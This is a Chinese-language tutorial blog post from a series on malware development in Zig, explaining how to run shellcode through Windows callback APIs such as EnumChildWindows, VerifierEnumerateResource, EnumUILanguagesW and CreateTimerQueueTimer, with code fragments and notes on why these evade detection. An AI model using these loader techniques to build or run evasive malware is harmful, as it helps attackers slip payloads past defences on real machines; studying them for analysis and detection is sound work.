iT邦幫忙

2025 iThome 鐵人賽

DAY 20
0
Security

Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!系列 第 20

Day20 - 幽谷迴響的低語呢喃:Callback 函數的 Shellcode 執行

  • 分享至 

  • xImage
  •  

走在時代前沿的前言

嗨嗨大家,中秋佳節,連假快樂!中秋節就是要來讀個鐵人賽的文章配月餅對吧!

今天要來介紹的主題是如何利用回呼函數(Callback functions)來執行 Shellcode。然後會帶大家一起看一下 Zig 的範例程式碼,那麼我們就開始囉!

完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Others/Callback-Code-Execution/callback_code_execution/

疊甲

中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」

本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!

Zig 版本

本系列文章中使用的 Zig 版本號為 0.14.1。

回呼函數是什麼

回呼函數是用來處理某些「事件完成」或是「條件達成」的時候要執行某些動作的函數。微軟的定義如下:

A callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.

我請 ChatGPT 的精準翻譯是這樣:「回呼函式(callback)是位於受管理應用程式中的程式碼,用來協助非受管理的 DLL 函式完成某項工作。對回呼函式的呼叫會由受管理應用程式經由 DLL 函式間接轉發,然後再返回到受管理應用程式中的該回呼實作執行」。

總之呢,回呼函數就是會在某件事件完成後,回過頭去呼叫該函數,所以稱為回呼函數。

Windows 的回呼函數是使用函數的指針來執行的,所以我們為了執行我們的 Payload,我們需要把地址傳給它。比起前幾天提過的本地進程的 Shellcode 執行方式,例如 CreateThread 等等,我們可以透過使用回呼函數來執行我們的 Paylaod,優點包括但不限於以下:

  • 不會額外創建線程,較不易被偵測
  • 不會分配額外可執行記憶體(因為 Payload 已經在 .text
  • 使用合法 Windows API,不易被偵測

使用 EnumChildWindows

EnumChildWindows 可以讓程式枚舉 Parent 視窗中的子視窗,並把用戶定義的回呼函數一次一個的應用到每一個子視窗中。所以每個子視窗都會呼叫到我們指定的回呼函數,並把子視窗的句柄和使用者定義的值作為參數傳遞給該回呼函數。當我們傳入 nullEnumChildWindows 的時候,它會枚舉所有的頂層視窗。

extern "user32" fn EnumChildWindows(
    hWndParent: ?HWND,
    lpEnumFunc: WNDENUMPROC,
    lParam: LPARAM,
) callconv(WINAPI) windows.BOOL;

const WNDENUMPROC = *const fn (HWND, LPARAM) callconv(WINAPI) windows.BOOL;

// Cast the payload address to the callback function type
const callback = @as(WNDENUMPROC, @ptrCast(&payload));

if (EnumChildWindows(null, // NULL parent enumerates all top-level windows
    callback, // Our payload
    0 // NULL lParam
) == 0) {
    print("[!] EnumChildWindows Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return;
}

使用 VerifierEnumerateResource

這個函數用來枚舉指定模組(像是執行檔或是動態連結函式庫)中的資源並對於每個找到的資源呼叫回呼函數。這裡的資源包括字串、Bitmaps、圖片等等。由於 VerifierEnumerateRsource 是從 verifier.dll 匯出的,所以要先透過 LoadLibraryGetProcAddress 把該函數載入到當前進程。

// Application Verifier callback function type
const AVRF_RESOURCE_ENUMERATE_CALLBACK = *const fn (
    PVOID, // ResourceDescription
    PVOID, // EnumerationContext
    PULONG, // EnumerationLevel
) callconv(WINAPI) ULONG;

// Function pointer type for VerifierEnumerateResource
const FnVerifierEnumerateResource = *const fn (
    HANDLE, // Process
    ULONG, // Flags
    ULONG, // ResourceType
    AVRF_RESOURCE_ENUMERATE_CALLBACK, // ResourceCallback
    ?PVOID, // EnumerationContext
) callconv(WINAPI) ULONG;

// Load verifier.dll dynamically
hModule = LoadLibraryA("verifier.dll");
const proc_addr = GetProcAddress(hModule.?, "VerifierEnumerateResource");
pVerifierEnumerateResource = @as(FnVerifierEnumerateResource, @ptrCast(proc_addr.?));

// Cast the payload address to the callback function type
const callback = @as(AVRF_RESOURCE_ENUMERATE_CALLBACK, @ptrCast(&payload));

// Call VerifierEnumerateResource
_ = pVerifierEnumerateResource.?(
    GetCurrentProcess(),
    0,
    AvrfResourceHeapAllocation,
    callback,
    null,
);

這邊的 ResourceType 參數若不是傳入 AvrfResourceHeapAllocation ,則 Payload 不會執行。

使用 EnumUILanguagesW

使用這個函數,它將會枚舉系統上已安裝的 UI 語言,並且會對每個枚舉出來的語言呼叫我們指定的回呼函數。

extern "user32" fn EnumUILanguagesW(
    lpUILanguageEnumProc: UILANGUAGE_ENUMPROCW,
    dwFlags: DWORD,
    lParam: LPARAM
) callconv(WINAPI) windows.BOOL;

const UILANGUAGE_ENUMPROCW = *const fn ([*:0]u16, LPARAM) callconv(WINAPI) windows.BOOL;
const MUI_LANGUAGE_NAME: DWORD = 0x8;

// Cast the payload address to the callback function type
const callback = @as(UILANGUAGE_ENUMPROCW, @ptrCast(&payload));

if (EnumUILanguagesW(callback, MUI_LANGUAGE_NAME, 0) != 0) {
    print("[!] EnumUILanguagesW Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return;
}

值得注意的是,使用任何值來代替 MUI_LANGUAGE_NAME 並傳入,我們的回呼函式依然會執行。

使用 CreateTimerQueueTimer

這個函數會建立一個新的 timer-queue timer,並在到期或是週期到達的時候去呼叫我們指定的回呼函數。其中這個回呼函數會由建立 timer-queue 的線程來執行。

使用這個方式是回呼函式執行任意程式碼中最可靠的其中一種方式。

extern "kernel32" fn CreateTimerQueueTimer(
    phNewTimer: *?windows.HANDLE,
    TimerQueue: ?windows.HANDLE,
    Callback: WAITORTIMERCALLBACK,
    Parameter: ?*anyopaque,
    DueTime: windows.DWORD,
    Period: windows.DWORD,
    Flags: windows.ULONG,
) callconv(WINAPI) windows.BOOL;

const WAITORTIMERCALLBACK = *const fn (?*anyopaque, windows.BOOL) callconv(WINAPI) void;

// Cast the payload address to the callback function type
const callback = @as(WAITORTIMERCALLBACK, @ptrCast(&payload));

if (CreateTimerQueueTimer(
    &hTimer,
    null, // TimerQueue - use default queue
    callback, // Callback - our shellcode
    null, // Parameter
    0, // DueTime - execute immediately
    0, // Period - execute once
    0, // Flags
) == 0) {
    print("[!] CreateTimerQueueTimer Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
    return;
}

還有更多

當然,並不只有以上提到的四種函數可以執行回呼函數,有很多的 Windows API 都可以執行回呼函數,包括但不限於以下:

  • EnumerateLoadedModules
    • 列舉進程中已載入的模組
  • EnumDirTreeW
    • 以檔案模式列舉目錄樹
  • SymEnumProcesses
    • 列舉供符號處理(symbol handling)使用的進程
  • EnumPageFilesW
    • 列舉系統的分頁檔(paging files)
  • LdrEnumerateLoadedModules
    • 透過 NTDLL 進行的低階模組列舉
  • EnumWindows
    • 列舉所有頂層視窗
  • EnumResourceTypesW
    • 列舉模組中的資源類型
  • EnumFontsW
    • 列舉字型

如果有興趣,可以在這個 GitHub 專案找到更多有關於可以調用回呼函數來執行任意程式碼的函數。

鐵人賽期 PoPoo,你今天轉 Po 了嗎?

好啦,那我們今天就到這裡囉!再次祝大家中秋節快樂!

明天我們來看一下線程劫持(Thread hijacking)吧!

如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!


上一篇
Day19 - 幽影巡查,黑暗中的死亡筆記本:Windows 進程枚舉術(下)
系列文
Zig 世代惡意程式戰記:暗影綠鬣蜥 の 獠牙與劇毒!20
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言